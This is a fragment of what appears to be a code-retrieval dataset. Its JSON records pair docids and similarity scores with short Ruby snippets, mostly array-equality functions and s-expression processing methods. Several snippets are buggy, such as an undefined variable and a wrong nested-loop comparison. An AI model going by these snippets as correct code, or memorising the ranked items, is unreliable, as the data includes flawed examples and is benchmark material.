"text": "def percentage_difference( arrayA, arrayB )\n top_size = arrayA.size > arrayB.size ? arrayA.size : arrayB.size\n diff_elements = 0;\n 0.upto( top_size - 1 ) do |i|\n diff_elements += 1 unless arrayA[i] == arrayB[i]\n end\n ( 1.0 * diffelements ) / top_size\nend",
"title": ""
},
{
"docid": "2b2200e3870cef5e272330b90531057a",
"score": "0.6380359",
"text": "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n end\n if array1.nil? || array2.nil?\n return false\n end\n if array1.length != array2.length\n return false\n end\n array1.each_with_index do |value,index|\n if array1[index] != array2[index]\n return false\n end\n end\n return true\nend",
"title": ""
},
{
"docid": "928a592eb2cc6c073a10cdec61cfdfa6",
"score": "0.63786197",
"text": "def array_equals(ar1, ar2)\n if !ar1 && !ar2\n return true\n elsif !ar1 || !ar2 || ar1.length != ar2.length\n return false\n else\n ar1.length.times do |i| \n if ar1[i] != ar2[i]\n return false\n end\n end\n return true\n end\n end",
"title": ""
},
{
"docid": "819cb5bed79659b4d35801683ef41f23",
"score": "0.63765144",
"text": "def array_equals(array1, array2)\n equal = true\n\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil && array2 != nil || array2 == nil && array1 != nil\n return false\n end\n\n array1.each do |arr1_num|\n array2.each do |arr2_num|\n if arr1_num != arr2_num\n equal = false\n else\n equal = true\n end\n end\n end\n\n if array1.length != array2.length\n equal = false\n end\n return equal\n raise NotImplementedError\nend",
"title": ""
},
{
"docid": "c8c9ee0254e237f21b751c1ab5244e48",
"score": "0.6376401",
"text": "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n end\n\n if array1 == nil || array2 == nil\n return false\n end\n\n if array1.length != array2.length\n return false\n end\n\n x = 0\n while x < array1.length\n if array1[x] != array2[x]\n return false\n end\n x += 1\n end\n\n return true\nend",
"title": ""
},
{
"docid": "ebcedc04a5619a663b1378ac51c08ddc",
"score": "0.63757074",
"text": "def is_rotation(arr1, arr2)\n return false if arr1.length != arr2.length\n key, key_i = arr1[0], -1\n for i in (0..arr2.length - 1)\n if key == arr2[i]\n key_i = i\n break\n end\n end\n \n if key_i == -1\n return false\n end\n\n for i in (0..arr1.length - 1)\n j = (key_i + i) % arr1.length\n if arr1[i] != arr2[j]\n return false\n end\n end\n return true\nend",
"title": ""
},
{
"docid": "b772055b84cdc4d0ee89d50c362fcab9",
"score": "0.6375069",
"text": "def same_array?(array1, array2)\n i = 0\n until array1[i].nil? do\n return false if !(array1[i] == array2[i])\n i += 1\n end\n return true\nend",
"title": ""
},
{
"docid": "6412105c6985585f621d59b5e8e2653c",
"score": "0.63750315",
"text": "def compare(a, b)\n\tindex = 0;\n\twhile (index < a.length() || index < b.length()) do\n\t\tif a[index] != b[index]\n\t\t\tputs \"Elements at position #{index + 1} are different. Source: #{a[index]}. Target: #{b[index]}\"\n\t\tend\n\t\tindex += 1\n\tend\nend",
"title": ""
},
{
"docid": "32b653f2a5aba691577f15fa2141bf1e",
"score": "0.63691753",
"text": "def find_difference(ary1, ary2)\n ary1.sum - ary2.sum\nend",
"title": ""
},
{
"docid": "d55862c5bb9d12b03b7e44d44292b507",
"score": "0.63631105",
"text": "def array_equals(array1, array2)\n flag = 0\n if array1.nil? && array2.nil?\n return true\n elsif array1.nil? || array2.nil?\n return false\n elsif array1.length != array2.length\n return false\n end\n # array1.length == array2.length ? flag = 0 : flag = 1\n array1.each_with_index do |num, i|\n # if array1[i] == array2[i] then flag = 0, else flag += 1\n array2[i] == num ? flag = 0 : flag += 1\n end\n # return true if flag == 0 else return false\n return flag == 0\n raise NotImplementedError\nend",
"title": ""
},
{
"docid": "d4eb237b674ffd924397995a5f867c18",
"score": "0.6358164",
"text": "def array_equals(array1, array2)\n if array1 == nil && array2 == nil \n return true \n elsif array1 == nil || array2 == nil\n return false \n end \n\n unless array1.length == array2.length\n return false \n end \n\n if array1 != nil && array2 != nil \n index_num = array1.length\n i = 0 \n k = 0 \n\n index_num.times do |i|\n if array1[i] == array2[i]\n k +=1 \n end \n i += 1\n end \n\n if k == index_num\n return true \n end \n else \n return false \n end \n\n return false \n raise NotImplementedError\nend",
"title": ""
}
] |
16d84150051cf83a1b328bccb2ed296b
|
Begin processes the body, then returns an untyped sexp.
|
[
{
"docid": "ebe568b2be3d7a3ef6767ab44c4669d9",
"score": "0.64042723",
"text": "def process_begin(exp)\n body = process exp.shift\n # shouldn't be anything to unify\n return t(:begin, body)\n end",
"title": ""
}
] |
[
{
"docid": "07d64bc213988ccb3287ceced446d8bf",
"score": "0.5978076",
"text": "def body_begin\n end",
"title": ""
},
{
"docid": "b1624351adee261b7fbec0c0ba16837a",
"score": "0.5963868",
"text": "def process_begin exp # :nodoc:\n _, *rest = exp\n\n code = rest.map { |sexp|\n src = process sexp\n src = indent src unless src =~ /(^|\\n)(rescue|ensure)/ # ensure no level 0 rescues\n src\n }\n code.unshift \"begin\"\n code.push \"end\"\n\n code.join \"\\n\"\n end",
"title": ""
},
{
"docid": "35f75e02569bcea748c056573136914d",
"score": "0.56853646",
"text": "def sexp_body from = 1\n self.new._concat(self[from..-1] || [])\n end",
"title": ""
},
{
"docid": "a5b4a916f0527033dc665a14665e8927",
"score": "0.5589776",
"text": "def process_begin(exp, level)\n process exp[0], level\n end",
"title": ""
},
{
"docid": "a5b4a916f0527033dc665a14665e8927",
"score": "0.5589776",
"text": "def process_begin(exp, level)\n process exp[0], level\n end",
"title": ""
},
{
"docid": "02dfafa9dd4b04a176644b43f3642835",
"score": "0.5499706",
"text": "def body\n case self.type\n when :begin\n self.children\n when :block\n :begin == self.children[2].type ? self.children[2].children : [self.children[2]]\n else\n raise Synvert::MethodNotSupported.new \"body is not handled for #{self.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "0f61294d86ad7b82f54a4f36fa630451",
"score": "0.5471226",
"text": "def sexp_body from = 1\n self.new.concat(self[from..-1] || [])\n end",
"title": ""
},
{
"docid": "16afb2886d49ade27bc9d7de192c284e",
"score": "0.5454455",
"text": "def body\n case self.type\n when :begin\n self.children\n when :def, :block\n return [] if self.children[2].nil?\n :begin == self.children[2].type ? self.children[2].body : self.children[2..-1]\n when :defs\n return [] if self.children[3].nil?\n :begin == self.children[3].type ? self.children[3].body : self.children[3..-1]\n else\n raise Synvert::Core::MethodNotSupported.new \"body is not handled for #{self.debug_info}\"\n end\n end",
"title": ""
},
{
"docid": "90441c969ad52be970086f5590ffa363",
"score": "0.5400359",
"text": "def body\n case sexp_type\n when :else\n self[1]\n when :module, :if, :elsif, :unless, :if_mod, :unless_mod, :ifop\n self[2]\n when :class, :def\n self[3]\n when :defs\n self[5]\n end\n end",
"title": ""
},
{
"docid": "9c5216ca0b10bb4880e09a9c638f0e37",
"score": "0.52524817",
"text": "def sexp_body\n self[1..-1]\n end",
"title": ""
},
{
"docid": "3556cd67362738252d81212c8d15eb35",
"score": "0.52330905",
"text": "def finish exp # REFACTOR: work this out of the rest of the processors\n body = []\n until exp.empty? do\n body << process(exp.shift)\n end\n body.compact\n end",
"title": ""
},
{
"docid": "30a21f2e8d3c892371ff20a2a2b4d2c6",
"score": "0.52020127",
"text": "def Statements(body); end",
"title": ""
},
{
"docid": "ac254a0fd9b4d40a63345da0d01ab21a",
"score": "0.5169849",
"text": "def process_begin(exp, _parent)\n increase_statement_count_by(exp.children)\n decrease_statement_count\n process(exp)\n end",
"title": ""
},
{
"docid": "9314cfd812630b8a51e3cb2c1455f7de",
"score": "0.515265",
"text": "def process_iter(sexp, level)\n call, args, body = sexp\n\n body ||= s(:nil)\n body = returns body\n code = \"\"\n params = nil\n scope_name = nil\n\n args = nil if Fixnum === args # argh\n args ||= s(:masgn, s(:array))\n args = args.first == :lasgn ? s(:array, args) : args[1]\n\n if args.last[0] == :block_pass\n block_arg = args.pop\n block_arg = block_arg[1][1].to_sym\n end\n\n if args.last[0] == :splat\n splat = args.last[1][1]\n args.pop\n len = args.length\n end\n\n indent do\n in_scope(:iter) do\n args[1..-1].each do |arg|\n arg = arg[1]\n arg = \"#{arg}$\" if RESERVED.include? arg.to_s\n code += \"if (#{arg} == null) #{arg} = nil;\\n\"\n end\n\n params = js_block_args(args[1..-1])\n # params.unshift '_$'\n\n if splat\n params << splat\n code += \"#{splat} = __slice.call(arguments, #{len - 1});\"\n end\n\n if block_arg\n @scope.block_name = block_arg\n @scope.add_temp block_arg\n @scope.add_temp '__context'\n scope_name = @scope.identify!\n # @scope.add_arg block_arg\n # code += \"var #{block_arg} = _$ || nil, $context = #{block_arg}.$S;\"\n blk = \"\\n%s%s = %s._p || nil, __context = %s._s, %s.p = null;\\n%s\" %\n [@indent, block_arg, scope_name, block_arg, scope_name, @indent]\n\n code = blk + code\n end\n\n code += \"\\n#@indent\" + process(body, :stmt)\n\n if @scope.defines_defn\n @scope.add_temp \"def = (#{current_self}._isObject ? #{current_self} : #{current_self}.prototype)\"\n end\n\n code = \"\\n#@indent#{@scope.to_vars}\\n#@indent#{code}\"\n\n scope_name = @scope.identity\n end\n end\n\n with_temp do |tmp|\n itercode = \"function(#{params.join ', '}) {\\n#{code}\\n#@indent}\"\n itercode = \"#{scope_name} = #{itercode}\" if scope_name\n\n call << (\"(%s = %s, %s._s = %s, %s)\" % [tmp, itercode, tmp, current_self, tmp])\n\n process call, level\n end\n end",
"title": ""
},
{
"docid": "7a53049478e72a528392b4ea5fe6f98b",
"score": "0.515098",
"text": "def sexp_for(block)\n Marshal.load(@@sexps[block.to_s] ||= Marshal.dump(block.to_sexp))\n end",
"title": ""
},
{
"docid": "44d4832a09c30636ba5d15c14c01d071",
"score": "0.5135155",
"text": "def process_iter(sexp, level)\n call, args, body = sexp\n\n body ||= s(:nil)\n body = returns body\n code = \"\"\n params = nil\n scope_name = nil\n\n args = nil if Fixnum === args # argh\n args ||= s(:masgn, s(:array))\n args = args.first == :lasgn ? s(:array, args) : args[1]\n\n if args.last.is_a?(Array) and args.last[0] == :block_pass\n block_arg = args.pop\n block_arg = block_arg[1][1].to_sym\n end\n\n if args.last.is_a?(Array) and args.last[0] == :splat\n splat = args.last[1][1]\n args.pop\n len = args.length\n end\n\n indent do\n in_scope(:iter) do\n args[1..-1].each do |arg|\n arg = arg[1]\n arg = \"#{arg}$\" if RESERVED.include? arg.to_s\n code += \"if (#{arg} == null) #{arg} = nil;\\n\"\n end\n\n params = js_block_args(args[1..-1])\n # params.unshift '_$'\n\n if splat\n params << splat\n code += \"#{splat} = __slice.call(arguments, #{len - 1});\"\n end\n\n if block_arg\n @scope.block_name = block_arg\n @scope.add_temp block_arg\n @scope.add_temp '__context'\n scope_name = @scope.identify!\n # @scope.add_arg block_arg\n # code += \"var #{block_arg} = _$ || nil, $context = #{block_arg}.$S;\"\n blk = \"\\n%s%s = %s._p || nil, __context = %s._s, %s.p = null;\\n%s\" %\n [@indent, block_arg, scope_name, block_arg, scope_name, @indent]\n\n code = blk + code\n end\n\n code += \"\\n#@indent\" + process(body, :stmt)\n\n if @scope.defines_defn\n @scope.add_temp \"def = (#{current_self}._isObject ? #{current_self} : #{current_self}.prototype)\"\n end\n\n code = \"\\n#@indent#{@scope.to_vars}\\n#@indent#{code}\"\n\n scope_name = @scope.identity\n end\n end\n\n with_temp do |tmp|\n itercode = \"function(#{params.join ', '}) {\\n#{code}\\n#@indent}\"\n itercode = \"#{scope_name} = #{itercode}\" if scope_name\n\n call << (\"(%s = %s, %s._s = %s, %s)\" % [tmp, itercode, tmp, current_self, tmp])\n\n process call, level\n end\n end",
"title": ""
},
{
"docid": "3b47f2de9461cf709acd601fb77690fe",
"score": "0.5120929",
"text": "def body_reader\n @body_tmp = []\n @body_rd = Fiber.new do\n body do |buf|\n @body_tmp << buf\n Fiber.yield\n end\n end\n @body_rd.resume # grab the first chunk and yield\n self\n end",
"title": ""
},
{
"docid": "73d72bc26591e08af237cc5e560baa75",
"score": "0.5120069",
"text": "def body\n begin\n loop do\n step\n end\n rescue StopService\n raise\n rescue Exception => e\n STDERR.puts \"#{Time.now}: #{self.class} exception in body: #{e}\"\n # STDERR.puts e.backtrace.join(\"\\n\")\n rescue Object => e\n STDERR.puts \"#{Time.now}: #{self.class} in body: #{e}\"\n raise\n end\n end",
"title": ""
},
{
"docid": "76faeac9d5a2e478e81210d77958cf3b",
"score": "0.5079919",
"text": "def yield_entity sexp, context, type, &block\n name = get_entity_name sexp\n namespace = get_namespace context\n new_context = { name: name, namespace: namespace, type: type }\n block.call new_context\n explore sexp, new_context, &block\n end",
"title": ""
},
{
"docid": "1d2a69988cc671229c21e2923b806dab",
"score": "0.50406396",
"text": "def Begin(bodystmt); end",
"title": ""
},
{
"docid": "70575c5321d49605f2159f78bd1dd7a9",
"score": "0.5040258",
"text": "def process(sexp, level = :expr)\n return fragment('', scope) if sexp.nil?\n\n if handler = handlers[sexp.type]\n return handler.new(sexp, level, self).compile_to_fragments\n else\n error \"Unsupported sexp: #{sexp.type}\"\n end\n end",
"title": ""
},
{
"docid": "9f296a9fd70935600f633ad3564ee852",
"score": "0.500518",
"text": "def _interop_body\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_single_quote)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_double_quote)\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\}\")\n break if _tmp\n self.pos = _save\n _tmp = scan(/\\A(?-mix:[^}]+)/)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_interop_body unless _tmp\n return _tmp\n end",
"title": ""
},
{
"docid": "21c58a88fd7880dd30670f04937173a4",
"score": "0.49784294",
"text": "def process_defn exp\n meth_env do\n exp.body = process_all! exp.body\n end\n exp\n end",
"title": ""
},
{
"docid": "868550914d2734ccc7ed6d8525af16c6",
"score": "0.4960854",
"text": "def start() @sg end",
"title": ""
},
{
"docid": "d3691d47307a3ea270594bdb41aa3f1f",
"score": "0.49603462",
"text": "def parse response_body\n start response_body\n end",
"title": ""
},
{
"docid": "b0740953d05f914480b98964ca2ac8b9",
"score": "0.4938495",
"text": "def process_exp(exp)\n if processable?(exp)\n send_to_processing_method(exp)\n else\n process_uninteresting_iter(exp.sexp)\n end\n end",
"title": ""
},
{
"docid": "e05cfe2d02397b646b07dbd366c9da57",
"score": "0.49211973",
"text": "def body\n return @body ||= connection.transmit(\"peek #{id}\")[:body]\n end",
"title": ""
},
{
"docid": "c7f3b426290e15f4eb68a9bf37b3824a",
"score": "0.4918792",
"text": "def reduce_begin_cmd(_production, _range, _tokens, theChildren)\n SkmSequencingBlock.new(theChildren[2])\n end",
"title": ""
},
{
"docid": "bfaee1c607ec60e6e41c22111d2371c8",
"score": "0.4872726",
"text": "def process!\n case @expression\n \n when Cons then\n # If we have evaluated all the subexpressions, or we have a +Syntax+\n # value first in the list, we can make a function call and return\n # its result.\n function = @values.car\n if Syntax === function or @current.null?\n @complete = true\n raise SyntaxError.new(\"Invalid expression: #{@expression}\") unless Function === function\n result = function.call(@scope, @values.cdr)\n \n # If the result of the call is a macro expansion, inline it and\n # set its expression as the new expression for the frame\n return result unless Macro::Expansion === result\n return reset!(result.expression, true)\n end\n \n # Otherwise, we still have work to do on the subexpressions, so we\n # evaluate the next one in the list.\n stack = @scope.runtime.stack\n stack << Frame.new(@current.car, @scope)\n \n # If it's a Vector (it will be unquoted if it has arrived here, copy\n # it and return it. We cannot freeze it for fear of breaking macros,\n # and we must copy it so that vector-set! cannot modify the parse tree.\n when Vector then\n @complete = true\n @expression.dup\n \n # If the expression is an +Identifier+, just look it up.\n when Identifier then\n @complete = true\n @scope[@expression]\n \n # Otherwise, the expression is just data so return it.\n else\n @complete = true\n Heist.evaluate(@expression, @scope)\n end\n end",
"title": ""
},
{
"docid": "44146d864ae6116765387c710318642f",
"score": "0.48662752",
"text": "def body\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n __BODY6__ = nil\n __BODY7__ = nil\n\n begin\n # at line 50:5: ( ^( TAG BODY attrs ( body_content )+ ) | ^( TAG BODY attrs ) )\n alt_6 = 2\n alt_6 = @dfa6.predict( @input )\n case alt_6\n when 1\n # at line 50:7: ^( TAG BODY attrs ( body_content )+ )\n match( TAG, TOKENS_FOLLOWING_TAG_IN_body_167 )\n\n match( DOWN, nil )\n __BODY6__ = match( BODY, TOKENS_FOLLOWING_BODY_IN_body_169 )\n # --> action\n printStartTag(__BODY6__);\n # <-- action\n @state.following.push( TOKENS_FOLLOWING_attrs_IN_body_173 )\n attrs\n @state.following.pop\n # --> action\n putsEndingBracket;\n # <-- action\n # at file 50:69: ( body_content )+\n match_count_5 = 0\n while true\n alt_5 = 2\n look_5_0 = @input.peek( 1 )\n\n if ( look_5_0.between?( TAG, DATA ) || look_5_0 == PCDATA )\n alt_5 = 1\n\n end\n case alt_5\n when 1\n # at line 50:69: body_content\n @state.following.push( TOKENS_FOLLOWING_body_content_IN_body_177 )\n body_content\n @state.following.pop\n\n else\n match_count_5 > 0 and break\n eee = EarlyExit(5)\n\n\n raise eee\n end\n match_count_5 += 1\n end\n\n\n match( UP, nil )\n # --> action\n printEndTag(__BODY6__);\n # <-- action\n\n when 2\n # at line 51:7: ^( TAG BODY attrs )\n match( TAG, TOKENS_FOLLOWING_TAG_IN_body_189 )\n\n match( DOWN, nil )\n __BODY7__ = match( BODY, TOKENS_FOLLOWING_BODY_IN_body_191 )\n # --> action\n printStartTag(__BODY7__);\n # <-- action\n @state.following.push( TOKENS_FOLLOWING_attrs_IN_body_195 )\n attrs\n @state.following.pop\n # --> action\n printEndingBracket;\n # <-- action\n\n match( UP, nil )\n # --> action\n putsEndTag(__BODY7__);\n # <-- action\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n end\n \n return \n end",
"title": ""
},
{
"docid": "68c7a1a0f379e6fefb5d1f74f2acc68b",
"score": "0.486312",
"text": "def parse\n result = parse_sexp until tokens.empty?\n result\n end",
"title": ""
},
{
"docid": "68c7a1a0f379e6fefb5d1f74f2acc68b",
"score": "0.486312",
"text": "def parse\n result = parse_sexp until tokens.empty?\n result\n end",
"title": ""
},
{
"docid": "7e04fa444b8348afdcac9f459ebb00aa",
"score": "0.48586154",
"text": "def process!\n case @expression\n \n when Cons then\n # If we have evaluated all the subexpressions, or we have a\n # +Syntax+ value first in the list, we can make a function call\n # and return its result.\n function = @values.car\n if Syntax === function or @current.null?\n @complete = true\n raise SyntaxError.new(\"Invalid expression: #{@expression}\") unless Function === function\n result = function.call(@scope, @values.cdr)\n \n # If the result of the call is a macro expansion, inline it\n # and set its expression as the new expression for the frame\n return result unless Macro::Expansion === result\n return reset!(result.expression, true)\n end\n \n # Otherwise, we still have work to do on the subexpressions, so\n # we evaluate the next one in the list.\n stack = @scope.runtime.stack\n stack << Frame.new(@current.car, @scope)\n \n # If it's a Vector (it will be unquoted if it has arrived here, copy\n # it and return it. We cannot freeze it for fear of breaking macros,\n # and we must copy it so that vector-set! cannot modify the parse tree.\n when Vector then\n @complete = true\n @expression.dup\n \n # If the expression is an +Identifier+, just look it up.\n when Identifier then\n @complete = true\n @scope[@expression]\n \n # Otherwise, the expression is just data so return it.\n else\n @complete = true\n Heist.evaluate(@expression, @scope)\n end\n end",
"title": ""
},
{
"docid": "59710250805376c24d1d55ba03895c4b",
"score": "0.4854655",
"text": "def visit_BEGIN(node)\n s(\n :preexe,\n [visit(node.statements)],\n smap_keyword(\n srange_length(node.start_char, 5),\n srange_find(node.start_char + 5, node.statements.start_char, \"{\"),\n srange_length(node.end_char, -1),\n srange_node(node)\n )\n )\n end",
"title": ""
},
{
"docid": "8830f8724623f4951dc43ecb4fc5fd89",
"score": "0.48338586",
"text": "def reduce_begin_expression(_production, _range, _tokens, theChildren)\n SkmSequencingBlock.new(theChildren[2])\n end",
"title": ""
},
{
"docid": "69be4e20e4a843e88248aef3839caaf9",
"score": "0.48296684",
"text": "def process!\n expression, scope = @current.expression,\n @current.scope\n \n # For function bodies, evaluate all but the last expression and return\n # the last expression (the tail call) as a new stack frame\n if Body === @current\n limit = expression.size - 1\n expression.each_with_index do |expr, i|\n return Frame.new(expr, scope) if i == limit\n Heist.evaluate(expr, scope)\n end\n end\n \n # Handle single-expression stack frames\n case expression\n \n # If the expression is a list, evaluate the first element and call the\n # resulting function with the rest of the list\n when Cons then\n first = !expression.null? && Heist.evaluate(expression.car, scope)\n raise SyntaxError.new(\"Invalid expression: #{expression}\") unless Function === first\n value = first.call(scope, expression.cdr)\n return value unless Macro::Expansion === value\n \n # If the return value is a macro expansion, inline it and set the\n # expansion up as the next stack frame to run\n expression.replace(value.expression)\n return Frame.new(value.expression, scope)\n \n # If the expression is a Vector (unquoted if found here), duplicate it\n # and return it. We don't want to freeze unquoted vectors as this\n # stops macros working, but also we don't want to allow procedures\n # such as vector-set! to modify the parse tree.\n when Vector then\n expression.dup\n \n # If the expression is an identifier, look up its value in the current\n # scope\n when Identifier then\n scope[expression]\n \n # Otherwise, assume the expression is data and return it\n else\n expression\n end\n end",
"title": ""
},
{
"docid": "fc1856b54b9d9256d1f58d709e9275c7",
"score": "0.48192433",
"text": "def normalized_body\n return replace_return( @body ) unless @body.is_a?(Statements)\n body = Statements.new( @body.statements.dup )\n body << replace_return( body.pop )\n end",
"title": ""
},
{
"docid": "dc3afc380bf315b18b8c5cfb06027d63",
"score": "0.48171583",
"text": "def evaluate sexp\n raise InvalidSexp if sexp.empty?\n raise NotSupportedSexpType if sexp.sexp_type != :defn\n\n method = \"main##{sexp.rest.head.to_s}\" # TODO generalize this for a class\n @flog.process sexp\n return @flog.calls[method].values.inject(&:+)\n end",
"title": ""
},
{
"docid": "25a41d8b94d0b97fdcad714a7bdc1517",
"score": "0.48051634",
"text": "def begin; end",
"title": ""
},
{
"docid": "4427b99ed299267584c08a6e308a298a",
"score": "0.48005155",
"text": "def parse_begin\n pos = position\n keyword(:begin) or return\n ws\n exps = parse_opt_defexp\n rescue_ = parse_rescue\n keyword(:end) or expected(\"expression or 'end' for open 'begin' block\")\n return E[pos, :block, [], exps, rescue_]\n end",
"title": ""
},
{
"docid": "1e4e6137b7c39d44daf44939abcbc127",
"score": "0.47998267",
"text": "def process(sexp, level)\n type = sexp.shift\n meth = \"process_#{type}\"\n raise \"Unsupported sexp: #{type}\" unless respond_to? meth\n\n @line = sexp.line\n\n __send__ meth, sexp, level\n end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "75b409867db0282615294714aa1c829e",
"score": "0.47854993",
"text": "def body; end",
"title": ""
},
{
"docid": "a3669918da459217149f5660b5c8e4a0",
"score": "0.47831723",
"text": "def compile\n parse\n\n @fragments = re_raise_with_location { process(@sexp).flatten }\n @fragments << fragment(\"\\n\", nil, s(:newline)) unless @fragments.last.code.end_with?(\"\\n\")\n\n @result = @fragments.map(&:code).join('')\n end",
"title": ""
},
{
"docid": "6ee25aa5ba89af5a16068968a4deae02",
"score": "0.4774325",
"text": "def body_content\n instance_eval(&@block) if @block\n end",
"title": ""
},
{
"docid": "192062eae93dd51f135d81e36931012d",
"score": "0.47526622",
"text": "def each\n yield @body\n end",
"title": ""
},
{
"docid": "0b79b8ba96f443e165897c45da7389f4",
"score": "0.474357",
"text": "def interpret(context)\n while @condition.interpret(context)\n @body.interpret(context)\n end\n end",
"title": ""
},
{
"docid": "bfd5bbcfff7dc9239bae96e87bfbfa56",
"score": "0.47300258",
"text": "def to_sexp(opts={}, &body_matcher)\n # NOTE: this is a stub for the actual one in Methods::ToSexp\n end",
"title": ""
},
{
"docid": "93e154dba9cf535214e500128dc529d4",
"score": "0.47141293",
"text": "def process\n # called from: ScotusTranscript\n # pre: raw_lines has been populated\n # post: @lines, @content_lines is populated with ScotusTranscriptLines\n \n # expected entities should also be filled\n \n \n @raw_lines.each_with_index do |rline, l_num| \n line = PScootus::ScotusTranscriptLine.new(rline, {\n :line_number=>l_num, :page=>self\n }) \n \n line.process\n @lines << line\n @content_lines << line if line.content?\n end \n \n puts \"* Page#process, \\t#{self.content_line_count} content lines\"\n validate_content! if has_content?\n \n end",
"title": ""
},
{
"docid": "2d2ad194c3f84bd750181f2834e4740b",
"score": "0.4712622",
"text": "def transform_sexp(sexp)\n return sexp unless sexp.body\n\n sexp.body.sexp_type = :NUKE # negate top level body\n sexp = s(:NUKE, sexp) # wrap with extra node to force full process\n\n sexp\n end",
"title": ""
},
{
"docid": "d4262b0590ff879900bc5162a1500f6b",
"score": "0.47053343",
"text": "def body\n raise \"object must be closed before getting body\" unless @closed\n\n @body\n end",
"title": ""
},
{
"docid": "7ef61619c31e13eb0ec88c11726a6d76",
"score": "0.47052085",
"text": "def start()\n\t\tif @attack_type = DETERMINE_EXPLOITABLE\n\t\t\tis_exploitable?\n\t\telse\n\t\t\texploit\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0b4de7876617c4d26c2af62c72afacd4",
"score": "0.46981853",
"text": "def start(&block); end",
"title": ""
},
{
"docid": "a92cebb7da9d72f4fcf9ed7716d071fc",
"score": "0.46970987",
"text": "def visit_embexpr_beg(node); end",
"title": ""
},
{
"docid": "f85ec52e5d7c7b0c9e9ea6459cd65625",
"score": "0.46925068",
